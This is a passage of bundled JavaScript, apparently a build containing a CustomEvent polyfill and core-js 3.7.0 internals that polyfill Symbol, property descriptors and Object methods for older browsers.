evt.initCustomEvent(event, params.bubbles, params.cancelable, params.detail);
origPrevent = evt.preventDefault;
evt.preventDefault = function () {
origPrevent.call(this);
try {
Object.defineProperty(this, 'defaultPrevented', {
get: function get() {
return true;
}
});
} catch (e) {
this.defaultPrevented = true;
}
};
return evt;
};
CustomEvent.prototype = window.Event.prototype;
window.CustomEvent = CustomEvent; // expose definition to window
}
})();
var commonjsGlobal = typeof globalThis !== 'undefined' ? globalThis : typeof window !== 'undefined' ? window : typeof global !== 'undefined' ? global : typeof self !== 'undefined' ? self : {};
function createCommonjsModule(fn, module) {
return module = { exports: {} }, fn(module, module.exports), module.exports;
}
var check = function (it) {
return it && it.Math == Math && it;
};
// https://github.com/zloirock/core-js/issues/86#issuecomment-115759028
var global_1 =
// eslint-disable-next-line no-undef
check(typeof globalThis == 'object' && globalThis) ||
check(typeof window == 'object' && window) ||
check(typeof self == 'object' && self) ||
check(typeof commonjsGlobal == 'object' && commonjsGlobal) ||
// eslint-disable-next-line no-new-func
(function () { return this; })() || Function('return this')();
var fails = function (exec) {
try {
return !!exec();
} catch (error) {
return true;
}
};
// Thank's IE8 for his funny defineProperty
var descriptors = !fails(function () {
return Object.defineProperty({}, 1, { get: function () { return 7; } })[1] != 7;
});
var nativePropertyIsEnumerable = {}.propertyIsEnumerable;
var getOwnPropertyDescriptor = Object.getOwnPropertyDescriptor;
// Nashorn ~ JDK8 bug
var NASHORN_BUG = getOwnPropertyDescriptor && !nativePropertyIsEnumerable.call({ 1: 2 }, 1);
// `Object.prototype.propertyIsEnumerable` method implementation
// https://tc39.github.io/ecma262/#sec-object.prototype.propertyisenumerable
var f = NASHORN_BUG ? function propertyIsEnumerable(V) {
var descriptor = getOwnPropertyDescriptor(this, V);
return !!descriptor && descriptor.enumerable;
} : nativePropertyIsEnumerable;
var objectPropertyIsEnumerable = {
f: f
};
var createPropertyDescriptor = function (bitmap, value) {
return {
enumerable: !(bitmap & 1),
configurable: !(bitmap & 2),
writable: !(bitmap & 4),
value: value
};
};
var toString = {}.toString;
var classofRaw = function (it) {
return toString.call(it).slice(8, -1);
};
var split = ''.split;
// fallback for non-array-like ES3 and non-enumerable old V8 strings
var indexedObject = fails(function () {
// throws an error in rhino, see https://github.com/mozilla/rhino/issues/346
// eslint-disable-next-line no-prototype-builtins
return !Object('z').propertyIsEnumerable(0);
}) ? function (it) {
return classofRaw(it) == 'String' ? split.call(it, '') : Object(it);
} : Object;
// `RequireObjectCoercible` abstract operation
// https://tc39.github.io/ecma262/#sec-requireobjectcoercible
var requireObjectCoercible = function (it) {
if (it == undefined) throw TypeError("Can't call method on " + it);
return it;
};
// toObject with fallback for non-array-like ES3 strings
var toIndexedObject = function (it) {
return indexedObject(requireObjectCoercible(it));
};
var isObject = function (it) {
return typeof it === 'object' ? it !== null : typeof it === 'function';
};
// `ToPrimitive` abstract operation
// https://tc39.github.io/ecma262/#sec-toprimitive
// instead of the ES6 spec version, we didn't implement @@toPrimitive case
// and the second argument - flag - preferred type is a string
var toPrimitive = function (input, PREFERRED_STRING) {
if (!isObject(input)) return input;
var fn, val;
if (PREFERRED_STRING && typeof (fn = input.toString) == 'function' && !isObject(val = fn.call(input))) return val;
if (typeof (fn = input.valueOf) == 'function' && !isObject(val = fn.call(input))) return val;
if (!PREFERRED_STRING && typeof (fn = input.toString) == 'function' && !isObject(val = fn.call(input))) return val;
throw TypeError("Can't convert object to primitive value");
};
var hasOwnProperty = {}.hasOwnProperty;
var has = function (it, key) {
return hasOwnProperty.call(it, key);
};
var document$1 = global_1.document;
// typeof document.createElement is 'object' in old IE
var EXISTS = isObject(document$1) && isObject(document$1.createElement);
var documentCreateElement = function (it) {
return EXISTS ? document$1.createElement(it) : {};
};
// Thank's IE8 for his funny defineProperty
var ie8DomDefine = !descriptors && !fails(function () {
return Object.defineProperty(documentCreateElement('div'), 'a', {
get: function () { return 7; }
}).a != 7;
});
var nativeGetOwnPropertyDescriptor = Object.getOwnPropertyDescriptor;
// `Object.getOwnPropertyDescriptor` method
// https://tc39.github.io/ecma262/#sec-object.getownpropertydescriptor
var f$1 = descriptors ? nativeGetOwnPropertyDescriptor : function getOwnPropertyDescriptor(O, P) {
O = toIndexedObject(O);
P = toPrimitive(P, true);
if (ie8DomDefine) try {
return nativeGetOwnPropertyDescriptor(O, P);
} catch (error) { /* empty */ }
if (has(O, P)) return createPropertyDescriptor(!objectPropertyIsEnumerable.f.call(O, P), O[P]);
};
var objectGetOwnPropertyDescriptor = {
f: f$1
};
var anObject = function (it) {
if (!isObject(it)) {
throw TypeError(String(it) + ' is not an object');
} return it;
};
var nativeDefineProperty = Object.defineProperty;
// `Object.defineProperty` method
// https://tc39.github.io/ecma262/#sec-object.defineproperty
var f$2 = descriptors ? nativeDefineProperty : function defineProperty(O, P, Attributes) {
anObject(O);
P = toPrimitive(P, true);
anObject(Attributes);
if (ie8DomDefine) try {
return nativeDefineProperty(O, P, Attributes);
} catch (error) { /* empty */ }
if ('get' in Attributes || 'set' in Attributes) throw TypeError('Accessors not supported');
if ('value' in Attributes) O[P] = Attributes.value;
return O;
};
var objectDefineProperty = {
f: f$2
};
var createNonEnumerableProperty = descriptors ? function (object, key, value) {
return objectDefineProperty.f(object, key, createPropertyDescriptor(1, value));
} : function (object, key, value) {
object[key] = value;
return object;
};
var setGlobal = function (key, value) {
try {
createNonEnumerableProperty(global_1, key, value);
} catch (error) {
global_1[key] = value;
} return value;
};
var SHARED = '__core-js_shared__';
var store = global_1[SHARED] || setGlobal(SHARED, {});
var sharedStore = store;
var functionToString = Function.toString;
// this helper broken in `3.4.1-3.4.4`, so we can't use `shared` helper
if (typeof sharedStore.inspectSource != 'function') {
sharedStore.inspectSource = function (it) {
return functionToString.call(it);
};
}
var inspectSource = sharedStore.inspectSource;
var WeakMap$1 = global_1.WeakMap;
var nativeWeakMap = typeof WeakMap$1 === 'function' && /native code/.test(inspectSource(WeakMap$1));
var isPure = false;
var shared = createCommonjsModule(function (module) {
(module.exports = function (key, value) {
return sharedStore[key] || (sharedStore[key] = value !== undefined ? value : {});
})('versions', []).push({
version: '3.7.0',
mode: 'global',
copyright: '© 2020 Denis Pushkarev (zloirock.ru)'
});
});
var id = 0;
var postfix = Math.random();
var uid = function (key) {
return 'Symbol(' + String(key === undefined ? '' : key) + ')_' + (++id + postfix).toString(36);
};
var keys = shared('keys');
var sharedKey = function (key) {
return keys[key] || (keys[key] = uid(key));
};
var hiddenKeys = {};
var WeakMap$2 = global_1.WeakMap;
var set, get, has$1;
var enforce = function (it) {
return has$1(it) ? get(it) : set(it, {});
};
var getterFor = function (TYPE) {
return function (it) {
var state;
if (!isObject(it) || (state = get(it)).type !== TYPE) {
throw TypeError('Incompatible receiver, ' + TYPE + ' required');
} return state;
};
};
if (nativeWeakMap) {
var store$1 = sharedStore.state || (sharedStore.state = new WeakMap$2());
var wmget = store$1.get;
var wmhas = store$1.has;
var wmset = store$1.set;
set = function (it, metadata) {
metadata.facade = it;
wmset.call(store$1, it, metadata);
return metadata;
};
get = function (it) {
return wmget.call(store$1, it) || {};
};
has$1 = function (it) {
return wmhas.call(store$1, it);
};
} else {
var STATE = sharedKey('state');
hiddenKeys[STATE] = true;
set = function (it, metadata) {
metadata.facade = it;
createNonEnumerableProperty(it, STATE, metadata);
return metadata;
};
get = function (it) {
return has(it, STATE) ? it[STATE] : {};
};
has$1 = function (it) {
return has(it, STATE);
};
}
var internalState = {
set: set,
get: get,
has: has$1,
enforce: enforce,
getterFor: getterFor
};
var redefine = createCommonjsModule(function (module) {
var getInternalState = internalState.get;
var enforceInternalState = internalState.enforce;
var TEMPLATE = String(String).split('String');
(module.exports = function (O, key, value, options) {
var unsafe = options ? !!options.unsafe : false;
var simple = options ? !!options.enumerable : false;
var noTargetGet = options ? !!options.noTargetGet : false;
var state;
if (typeof value == 'function') {
if (typeof key == 'string' && !has(value, 'name')) {
createNonEnumerableProperty(value, 'name', key);
}
state = enforceInternalState(value);
if (!state.source) {
state.source = TEMPLATE.join(typeof key == 'string' ? key : '');
}
}
if (O === global_1) {
if (simple) O[key] = value;
else setGlobal(key, value);
return;
} else if (!unsafe) {
delete O[key];
} else if (!noTargetGet && O[key]) {
simple = true;
}
if (simple) O[key] = value;
else createNonEnumerableProperty(O, key, value);
// add fake Function#toString for correct work wrapped methods / constructors with methods like LoDash isNative
})(Function.prototype, 'toString', function toString() {
return typeof this == 'function' && getInternalState(this).source || inspectSource(this);
});
});
var path = global_1;
var aFunction = function (variable) {
return typeof variable == 'function' ? variable : undefined;
};
var getBuiltIn = function (namespace, method) {
return arguments.length < 2 ? aFunction(path[namespace]) || aFunction(global_1[namespace])
: path[namespace] && path[namespace][method] || global_1[namespace] && global_1[namespace][method];
};
var ceil = Math.ceil;
var floor = Math.floor;
// `ToInteger` abstract operation
// https://tc39.github.io/ecma262/#sec-tointeger
var toInteger = function (argument) {
return isNaN(argument = +argument) ? 0 : (argument > 0 ? floor : ceil)(argument);
};
var min = Math.min;
// `ToLength` abstract operation
// https://tc39.github.io/ecma262/#sec-tolength
var toLength = function (argument) {
return argument > 0 ? min(toInteger(argument), 0x1FFFFFFFFFFFFF) : 0; // 2 ** 53 - 1 == 9007199254740991
};
var max = Math.max;
var min$1 = Math.min;
// Helper for a popular repeating case of the spec:
// Let integer be ? ToInteger(index).
// If integer < 0, let result be max((length + integer), 0); else let result be min(integer, length).
var toAbsoluteIndex = function (index, length) {
var integer = toInteger(index);
return integer < 0 ? max(integer + length, 0) : min$1(integer, length);
};
// `Array.prototype.{ indexOf, includes }` methods implementation
var createMethod = function (IS_INCLUDES) {
return function ($this, el, fromIndex) {
var O = toIndexedObject($this);
var length = toLength(O.length);
var index = toAbsoluteIndex(fromIndex, length);
var value;
// Array#includes uses SameValueZero equality algorithm
// eslint-disable-next-line no-self-compare
if (IS_INCLUDES && el != el) while (length > index) {
value = O[index++];
// eslint-disable-next-line no-self-compare
if (value != value) return true;
// Array#indexOf ignores holes, Array#includes - not
} else for (;length > index; index++) {
if ((IS_INCLUDES || index in O) && O[index] === el) return IS_INCLUDES || index || 0;
} return !IS_INCLUDES && -1;
};
};
var arrayIncludes = {
// `Array.prototype.includes` method
// https://tc39.github.io/ecma262/#sec-array.prototype.includes
includes: createMethod(true),
// `Array.prototype.indexOf` method
// https://tc39.github.io/ecma262/#sec-array.prototype.indexof
indexOf: createMethod(false)
};
var indexOf = arrayIncludes.indexOf;
var objectKeysInternal = function (object, names) {
var O = toIndexedObject(object);
var i = 0;
var result = [];
var key;
for (key in O) !has(hiddenKeys, key) && has(O, key) && result.push(key);
// Don't enum bug & hidden keys
while (names.length > i) if (has(O, key = names[i++])) {
~indexOf(result, key) || result.push(key);
}
return result;
};
// IE8- don't enum bug keys
var enumBugKeys = [
'constructor',
'hasOwnProperty',
'isPrototypeOf',
'propertyIsEnumerable',
'toLocaleString',
'toString',
'valueOf'
];
var hiddenKeys$1 = enumBugKeys.concat('length', 'prototype');
// `Object.getOwnPropertyNames` method
// https://tc39.github.io/ecma262/#sec-object.getownpropertynames
var f$3 = Object.getOwnPropertyNames || function getOwnPropertyNames(O) {
return objectKeysInternal(O, hiddenKeys$1);
};
var objectGetOwnPropertyNames = {
f: f$3
};
var f$4 = Object.getOwnPropertySymbols;
var objectGetOwnPropertySymbols = {
f: f$4
};
// all object keys, includes non-enumerable and symbols
var ownKeys = getBuiltIn('Reflect', 'ownKeys') || function ownKeys(it) {
var keys = objectGetOwnPropertyNames.f(anObject(it));
var getOwnPropertySymbols = objectGetOwnPropertySymbols.f;
return getOwnPropertySymbols ? keys.concat(getOwnPropertySymbols(it)) : keys;
};
var copyConstructorProperties = function (target, source) {
var keys = ownKeys(source);
var defineProperty = objectDefineProperty.f;
var getOwnPropertyDescriptor = objectGetOwnPropertyDescriptor.f;
for (var i = 0; i < keys.length; i++) {
var key = keys[i];
if (!has(target, key)) defineProperty(target, key, getOwnPropertyDescriptor(source, key));
}
};
var replacement = /#|\.prototype\./;
var isForced = function (feature, detection) {
var value = data[normalize(feature)];
return value == POLYFILL ? true
: value == NATIVE ? false
: typeof detection == 'function' ? fails(detection)
: !!detection;
};
var normalize = isForced.normalize = function (string) {
return String(string).replace(replacement, '.').toLowerCase();
};
var data = isForced.data = {};
var NATIVE = isForced.NATIVE = 'N';
var POLYFILL = isForced.POLYFILL = 'P';
var isForced_1 = isForced;
var getOwnPropertyDescriptor$1 = objectGetOwnPropertyDescriptor.f;
/*
options.target - name of the target object
options.global - target is the global object
options.stat - export as static methods of target
options.proto - export as prototype methods of target
options.real - real prototype method for the `pure` version
options.forced - export even if the native feature is available
options.bind - bind methods to the target, required for the `pure` version
options.wrap - wrap constructors to preventing global pollution, required for the `pure` version
options.unsafe - use the simple assignment of property instead of delete + defineProperty
options.sham - add a flag to not completely full polyfills
options.enumerable - export as enumerable property
options.noTargetGet - prevent calling a getter on target
*/
var _export = function (options, source) {
var TARGET = options.target;
var GLOBAL = options.global;
var STATIC = options.stat;
var FORCED, target, key, targetProperty, sourceProperty, descriptor;
if (GLOBAL) {
target = global_1;
} else if (STATIC) {
target = global_1[TARGET] || setGlobal(TARGET, {});
} else {
target = (global_1[TARGET] || {}).prototype;
}
if (target) for (key in source) {
sourceProperty = source[key];
if (options.noTargetGet) {
descriptor = getOwnPropertyDescriptor$1(target, key);
targetProperty = descriptor && descriptor.value;
} else targetProperty = target[key];
FORCED = isForced_1(GLOBAL ? key : TARGET + (STATIC ? '.' : '#') + key, options.forced);
// contained in target
if (!FORCED && targetProperty !== undefined) {
if (typeof sourceProperty === typeof targetProperty) continue;
copyConstructorProperties(sourceProperty, targetProperty);
}
// add a flag to not completely full polyfills
if (options.sham || (targetProperty && targetProperty.sham)) {
createNonEnumerableProperty(sourceProperty, 'sham', true);
}
// extend global
redefine(target, key, sourceProperty, options);
}
};
var nativeSymbol = !!Object.getOwnPropertySymbols && !fails(function () {
// Chrome 38 Symbol has incorrect toString conversion
// eslint-disable-next-line no-undef
return !String(Symbol());
});
var useSymbolAsUid = nativeSymbol
// eslint-disable-next-line no-undef
&& !Symbol.sham
// eslint-disable-next-line no-undef
&& typeof Symbol.iterator == 'symbol';
// `IsArray` abstract operation
// https://tc39.github.io/ecma262/#sec-isarray
var isArray = Array.isArray || function isArray(arg) {
return classofRaw(arg) == 'Array';
};
// `ToObject` abstract operation
// https://tc39.github.io/ecma262/#sec-toobject
var toObject = function (argument) {
return Object(requireObjectCoercible(argument));
};
// `Object.keys` method
// https://tc39.github.io/ecma262/#sec-object.keys
var objectKeys = Object.keys || function keys(O) {
return objectKeysInternal(O, enumBugKeys);
};
// `Object.defineProperties` method
// https://tc39.github.io/ecma262/#sec-object.defineproperties
var objectDefineProperties = descriptors ? Object.defineProperties : function defineProperties(O, Properties) {
anObject(O);
var keys = objectKeys(Properties);
var length = keys.length;
var index = 0;
var key;
while (length > index) objectDefineProperty.f(O, key = keys[index++], Properties[key]);
return O;
};
var html = getBuiltIn('document', 'documentElement');
var GT = '>';
var LT = '<';
var PROTOTYPE = 'prototype';
var SCRIPT = 'script';
var IE_PROTO = sharedKey('IE_PROTO');
var EmptyConstructor = function () { /* empty */ };
var scriptTag = function (content) {
return LT + SCRIPT + GT + content + LT + '/' + SCRIPT + GT;
};
// Create object with fake `null` prototype: use ActiveX Object with cleared prototype
var NullProtoObjectViaActiveX = function (activeXDocument) {
activeXDocument.write(scriptTag(''));
activeXDocument.close();
var temp = activeXDocument.parentWindow.Object;
activeXDocument = null; // avoid memory leak
return temp;
};
// Create object with fake `null` prototype: use iframe Object with cleared prototype
var NullProtoObjectViaIFrame = function () {
// Thrash, waste and sodomy: IE GC bug
var iframe = documentCreateElement('iframe');
var JS = 'java' + SCRIPT + ':';
var iframeDocument;
iframe.style.display = 'none';
html.appendChild(iframe);
// https://github.com/zloirock/core-js/issues/475
iframe.src = String(JS);
iframeDocument = iframe.contentWindow.document;
iframeDocument.open();
iframeDocument.write(scriptTag('document.F=Object'));
iframeDocument.close();
return iframeDocument.F;
};
// Check for document.domain and active x support
// No need to use active x approach when document.domain is not set
// see https://github.com/es-shims/es5-shim/issues/150
// variation of https://github.com/kitcambridge/es5-shim/commit/4f738ac066346
// avoid IE GC bug
var activeXDocument;
var NullProtoObject = function () {
try {
/* global ActiveXObject */
activeXDocument = document.domain && new ActiveXObject('htmlfile');
} catch (error) { /* ignore */ }
NullProtoObject = activeXDocument ? NullProtoObjectViaActiveX(activeXDocument) : NullProtoObjectViaIFrame();
var length = enumBugKeys.length;
while (length--) delete NullProtoObject[PROTOTYPE][enumBugKeys[length]];
return NullProtoObject();
};
hiddenKeys[IE_PROTO] = true;
// `Object.create` method
// https://tc39.github.io/ecma262/#sec-object.create
var objectCreate = Object.create || function create(O, Properties) {
var result;
if (O !== null) {
EmptyConstructor[PROTOTYPE] = anObject(O);
result = new EmptyConstructor();
EmptyConstructor[PROTOTYPE] = null;
// add "__proto__" for Object.getPrototypeOf polyfill
result[IE_PROTO] = O;
} else result = NullProtoObject();
return Properties === undefined ? result : objectDefineProperties(result, Properties);
};
var nativeGetOwnPropertyNames = objectGetOwnPropertyNames.f;
var toString$1 = {}.toString;
var windowNames = typeof window == 'object' && window && Object.getOwnPropertyNames
? Object.getOwnPropertyNames(window) : [];
var getWindowNames = function (it) {
try {
return nativeGetOwnPropertyNames(it);
} catch (error) {
return windowNames.slice();
}
};
// fallback for IE11 buggy Object.getOwnPropertyNames with iframe and window
var f$5 = function getOwnPropertyNames(it) {
return windowNames && toString$1.call(it) == '[object Window]'
? getWindowNames(it)
: nativeGetOwnPropertyNames(toIndexedObject(it));
};
var objectGetOwnPropertyNamesExternal = {
f: f$5
};
var WellKnownSymbolsStore = shared('wks');
var Symbol$1 = global_1.Symbol;
var createWellKnownSymbol = useSymbolAsUid ? Symbol$1 : Symbol$1 && Symbol$1.withoutSetter || uid;
var wellKnownSymbol = function (name) {
if (!has(WellKnownSymbolsStore, name)) {
if (nativeSymbol && has(Symbol$1, name)) WellKnownSymbolsStore[name] = Symbol$1[name];
else WellKnownSymbolsStore[name] = createWellKnownSymbol('Symbol.' + name);
} return WellKnownSymbolsStore[name];
};
var f$6 = wellKnownSymbol;
var wellKnownSymbolWrapped = {
f: f$6
};
var defineProperty = objectDefineProperty.f;
var defineWellKnownSymbol = function (NAME) {
var Symbol = path.Symbol || (path.Symbol = {});
if (!has(Symbol, NAME)) defineProperty(Symbol, NAME, {
value: wellKnownSymbolWrapped.f(NAME)
});
};
var defineProperty$1 = objectDefineProperty.f;
var TO_STRING_TAG = wellKnownSymbol('toStringTag');
var setToStringTag = function (it, TAG, STATIC) {
if (it && !has(it = STATIC ? it : it.prototype, TO_STRING_TAG)) {
defineProperty$1(it, TO_STRING_TAG, { configurable: true, value: TAG });
}
};
var aFunction$1 = function (it) {
if (typeof it != 'function') {
throw TypeError(String(it) + ' is not a function');
} return it;
};
// optional / simple context binding
var functionBindContext = function (fn, that, length) {
aFunction$1(fn);
if (that === undefined) return fn;
switch (length) {
case 0: return function () {
return fn.call(that);
};
case 1: return function (a) {
return fn.call(that, a);
};
case 2: return function (a, b) {
return fn.call(that, a, b);
};
case 3: return function (a, b, c) {
return fn.call(that, a, b, c);
};
}
return function (/* ...args */) {
return fn.apply(that, arguments);
};
};
var SPECIES = wellKnownSymbol('species');
// `ArraySpeciesCreate` abstract operation
// https://tc39.github.io/ecma262/#sec-arrayspeciescreate
var arraySpeciesCreate = function (originalArray, length) {
var C;
if (isArray(originalArray)) {
C = originalArray.constructor;
// cross-realm fallback
if (typeof C == 'function' && (C === Array || isArray(C.prototype))) C = undefined;
else if (isObject(C)) {
C = C[SPECIES];
if (C === null) C = undefined;
}
} return new (C === undefined ? Array : C)(length === 0 ? 0 : length);
};
var push = [].push;
// `Array.prototype.{ forEach, map, filter, some, every, find, findIndex }` methods implementation
var createMethod$1 = function (TYPE) {
var IS_MAP = TYPE == 1;
var IS_FILTER = TYPE == 2;
var IS_SOME = TYPE == 3;
var IS_EVERY = TYPE == 4;
var IS_FIND_INDEX = TYPE == 6;
var NO_HOLES = TYPE == 5 || IS_FIND_INDEX;
return function ($this, callbackfn, that, specificCreate) {
var O = toObject($this);
var self = indexedObject(O);
var boundFunction = functionBindContext(callbackfn, that, 3);
var length = toLength(self.length);
var index = 0;
var create = specificCreate || arraySpeciesCreate;
var target = IS_MAP ? create($this, length) : IS_FILTER ? create($this, 0) : undefined;
var value, result;
for (;length > index; index++) if (NO_HOLES || index in self) {
value = self[index];
result = boundFunction(value, index, O);
if (TYPE) {
if (IS_MAP) target[index] = result; // map
else if (result) switch (TYPE) {
case 3: return true; // some
case 5: return value; // find
case 6: return index; // findIndex
case 2: push.call(target, value); // filter
} else if (IS_EVERY) return false; // every
}
}
return IS_FIND_INDEX ? -1 : IS_SOME || IS_EVERY ? IS_EVERY : target;
};
};
var arrayIteration = {
// `Array.prototype.forEach` method
// https://tc39.github.io/ecma262/#sec-array.prototype.foreach
forEach: createMethod$1(0),
// `Array.prototype.map` method
// https://tc39.github.io/ecma262/#sec-array.prototype.map
map: createMethod$1(1),
// `Array.prototype.filter` method
// https://tc39.github.io/ecma262/#sec-array.prototype.filter
filter: createMethod$1(2),
// `Array.prototype.some` method
// https://tc39.github.io/ecma262/#sec-array.prototype.some
some: createMethod$1(3),
// `Array.prototype.every` method
// https://tc39.github.io/ecma262/#sec-array.prototype.every
every: createMethod$1(4),
// `Array.prototype.find` method
// https://tc39.github.io/ecma262/#sec-array.prototype.find
find: createMethod$1(5),
// `Array.prototype.findIndex` method
// https://tc39.github.io/ecma262/#sec-array.prototype.findIndex
findIndex: createMethod$1(6)
};
var $forEach = arrayIteration.forEach;
var HIDDEN = sharedKey('hidden');
var SYMBOL = 'Symbol';
var PROTOTYPE$1 = 'prototype';
var TO_PRIMITIVE = wellKnownSymbol('toPrimitive');
var setInternalState = internalState.set;
var getInternalState = internalState.getterFor(SYMBOL);
var ObjectPrototype = Object[PROTOTYPE$1];
var $Symbol = global_1.Symbol;
var $stringify = getBuiltIn('JSON', 'stringify');
var nativeGetOwnPropertyDescriptor$1 = objectGetOwnPropertyDescriptor.f;
var nativeDefineProperty$1 = objectDefineProperty.f;
var nativeGetOwnPropertyNames$1 = objectGetOwnPropertyNamesExternal.f;
var nativePropertyIsEnumerable$1 = objectPropertyIsEnumerable.f;
var AllSymbols = shared('symbols');
var ObjectPrototypeSymbols = shared('op-symbols');
var StringToSymbolRegistry = shared('string-to-symbol-registry');
var SymbolToStringRegistry = shared('symbol-to-string-registry');
var WellKnownSymbolsStore$1 = shared('wks');
var QObject = global_1.QObject;
// Don't use setters in Qt Script, https://github.com/zloirock/core-js/issues/173
var USE_SETTER = !QObject || !QObject[PROTOTYPE$1] || !QObject[PROTOTYPE$1].findChild;
// fallback for old Android, https://code.google.com/p/v8/issues/detail?id=687
var setSymbolDescriptor = descriptors && fails(function () {
return objectCreate(nativeDefineProperty$1({}, 'a', {
get: function () { return nativeDefineProperty$1(this, 'a', { value: 7 }).a; }
})).a != 7;
}) ? function (O, P, Attributes) {
var ObjectPrototypeDescriptor = nativeGetOwnPropertyDescriptor$1(ObjectPrototype, P);
if (ObjectPrototypeDescriptor) delete ObjectPrototype[P];
nativeDefineProperty$1(O, P, Attributes);
if (ObjectPrototypeDescriptor && O !== ObjectPrototype) {
nativeDefineProperty$1(ObjectPrototype, P, ObjectPrototypeDescriptor);
}
} : nativeDefineProperty$1;
var wrap = function (tag, description) {
var symbol = AllSymbols[tag] = objectCreate($Symbol[PROTOTYPE$1]);
setInternalState(symbol, {
type: SYMBOL,
tag: tag,
description: description
});
if (!descriptors) symbol.description = description;
return symbol;
};
var isSymbol = useSymbolAsUid ? function (it) {
return typeof it == 'symbol';
} : function (it) {
return Object(it) instanceof $Symbol;
};
var $defineProperty = function defineProperty(O, P, Attributes) {
if (O === ObjectPrototype) $defineProperty(ObjectPrototypeSymbols, P, Attributes);
anObject(O);
var key = toPrimitive(P, true);
anObject(Attributes);
if (has(AllSymbols, key)) {
if (!Attributes.enumerable) {
if (!has(O, HIDDEN)) nativeDefineProperty$1(O, HIDDEN, createPropertyDescriptor(1, {}));
O[HIDDEN][key] = true;
} else {
if (has(O, HIDDEN) && O[HIDDEN][key]) O[HIDDEN][key] = false;
Attributes = objectCreate(Attributes, { enumerable: createPropertyDescriptor(0, false) });
} return setSymbolDescriptor(O, key, Attributes);
} return nativeDefineProperty$1(O, key, Attributes);
};
var $defineProperties = function defineProperties(O, Properties) {
anObject(O);
var properties = toIndexedObject(Properties);
var keys = objectKeys(properties).concat($getOwnPropertySymbols(properties));
$forEach(keys, function (key) {
if (!descriptors || $propertyIsEnumerable.call(properties, key)) $defineProperty(O, key, properties[key]);
});
return O;
};
var $create = function create(O, Properties) {
return Properties === undefined ? objectCreate(O) : $defineProperties(objectCreate(O), Properties);
};
var $propertyIsEnumerable = function propertyIsEnumerable(V) {
var P = toPrimitive(V, true);
var enumerable = nativePropertyIsEnumerable$1.call(this, P);
if (this === ObjectPrototype && has(AllSymbols, P) && !has(ObjectPrototypeSymbols, P)) return false;
return enumerable || !has(this, P) || !has(AllSymbols, P) || has(this, HIDDEN) && this[HIDDEN][P] ? enumerable : true;
};
var $getOwnPropertyDescriptor = function getOwnPropertyDescriptor(O, P) {
var it = toIndexedObject(O);
var key = toPrimitive(P, true);
if (it === ObjectPrototype && has(AllSymbols, key) && !has(ObjectPrototypeSymbols, key)) return;
var descriptor = nativeGetOwnPropertyDescriptor$1(it, key);
if (descriptor && has(AllSymbols, key) && !(has(it, HIDDEN) && it[HIDDEN][key])) {
descriptor.enumerable = true;
}
return descriptor;
};
var $getOwnPropertyNames = function getOwnPropertyNames(O) {
var names = nativeGetOwnPropertyNames$1(toIndexedObject(O));
var result = [];
$forEach(names, function (key) {
if (!has(AllSymbols, key) && !has(hiddenKeys, key)) result.push(key);
});
return result;
};
var $getOwnPropertySymbols = function getOwnPropertySymbols(O) {
var IS_OBJECT_PROTOTYPE = O === ObjectPrototype;
var names = nativeGetOwnPropertyNames$1(IS_OBJECT_PROTOTYPE ? ObjectPrototypeSymbols : toIndexedObject(O));
var result = [];
$forEach(names, function (key) {
if (has(AllSymbols, key) && (!IS_OBJECT_PROTOTYPE || has(ObjectPrototype, key))) {
result.push(AllSymbols[key]);
}
});
return result;
};
// `Symbol` constructor
// https://tc39.github.io/ecma262/#sec-symbol-constructor
if (!nativeSymbol) {
$Symbol = function Symbol() {
if (this instanceof $Symbol) throw TypeError('Symbol is not a constructor');
var description = !arguments.length || arguments[0] === undefined ? undefined : String(arguments[0]);
var tag = uid(description);
var setter = function (value) {
if (this === ObjectPrototype) setter.call(ObjectPrototypeSymbols, value);
if (has(this, HIDDEN) && has(this[HIDDEN], tag)) this[HIDDEN][tag] = false;
setSymbolDescriptor(this, tag, createPropertyDescriptor(1, value));
};
if (descriptors && USE_SETTER) setSymbolDescriptor(ObjectPrototype, tag, { configurable: true, set: setter });
return wrap(tag, description);
};
redefine($Symbol[PROTOTYPE$1], 'toString', function toString() {
return getInternalState(this).tag;
});
redefine($Symbol, 'withoutSetter', function (description) {
return wrap(uid(description), description);
});
objectPropertyIsEnumerable.f = $propertyIsEnumerable;
objectDefineProperty.f = $defineProperty;
objectGetOwnPropertyDescriptor.f = $getOwnPropertyDescriptor;
objectGetOwnPropertyNames.f = objectGetOwnPropertyNamesExternal.f = $getOwnPropertyNames;
objectGetOwnPropertySymbols.f = $getOwnPropertySymbols;
wellKnownSymbolWrapped.f = function (name) {
return wrap(wellKnownSymbol(name), name);
};
if (descriptors) {
// https://github.com/tc39/proposal-Symbol-description
nativeDefineProperty$1($Symbol[PROTOTYPE$1], 'description', {
configurable: true,
get: function description() {
return getInternalState(this).description;
}
});
{
redefine(ObjectPrototype, 'propertyIsEnumerable', $propertyIsEnumerable, { unsafe: true });
}
}
}
_export({ global: true, wrap: true, forced: !nativeSymbol, sham: !nativeSymbol }, {
Symbol: $Symbol
});
$forEach(objectKeys(WellKnownSymbolsStore$1), function (name) {
defineWellKnownSymbol(name);
});
_export({ target: SYMBOL, stat: true, forced: !nativeSymbol }, {
// `Symbol.for` method
// https://tc39.github.io/ecma262/#sec-symbol.for
'for': function (key) {
var string = String(key);
if (has(StringToSymbolRegistry, string)) return StringToSymbolRegistry[string];
var symbol = $Symbol(string);
StringToSymbolRegistry[string] = symbol;
SymbolToStringRegistry[symbol] = string;
return symbol;
},
// `Symbol.keyFor` method
// https://tc39.github.io/ecma262/#sec-symbol.keyfor
keyFor: function keyFor(sym) {
if (!isSymbol(sym)) throw TypeError(sym + ' is not a symbol');
if (has(SymbolToStringRegistry, sym)) return SymbolToStringRegistry[sym];
},
useSetter: function () { USE_SETTER = true; },
useSimple: function () { USE_SETTER = false; }
});
_export({ target: 'Object', stat: true, forced: !nativeSymbol, sham: !descriptors }, {
// `Object.create` method
// https://tc39.github.io/ecma262/#sec-object.create
create: $create,
// `Object.defineProperty` method
// https://tc39.github.io/ecma262/#sec-object.defineproperty
defineProperty: $defineProperty,
// `Object.defineProperties` method
// https://tc39.github.io/ecma262/#sec-object.defineproperties
defineProperties: $defineProperties,
// `Object.getOwnPropertyDescriptor` method
// https://tc39.github.io/ecma262/#sec-object.getownpropertydescriptors
getOwnPropertyDescriptor: $getOwnPropertyDescriptor
});
_export({ target: 'Object', stat: true, forced: !nativeSymbol }, {
// `Object.getOwnPropertyNames` method
// https://tc39.github.io/ecma262/#sec-object.getownpropertynames
getOwnPropertyNames: $getOwnPropertyNames,
// `Object.getOwnPropertySymbols` method
// https://tc39.github.io/ecma262/#sec-object.getownpropertysymbols
getOwnPropertySymbols: $getOwnPropertySymbols
});
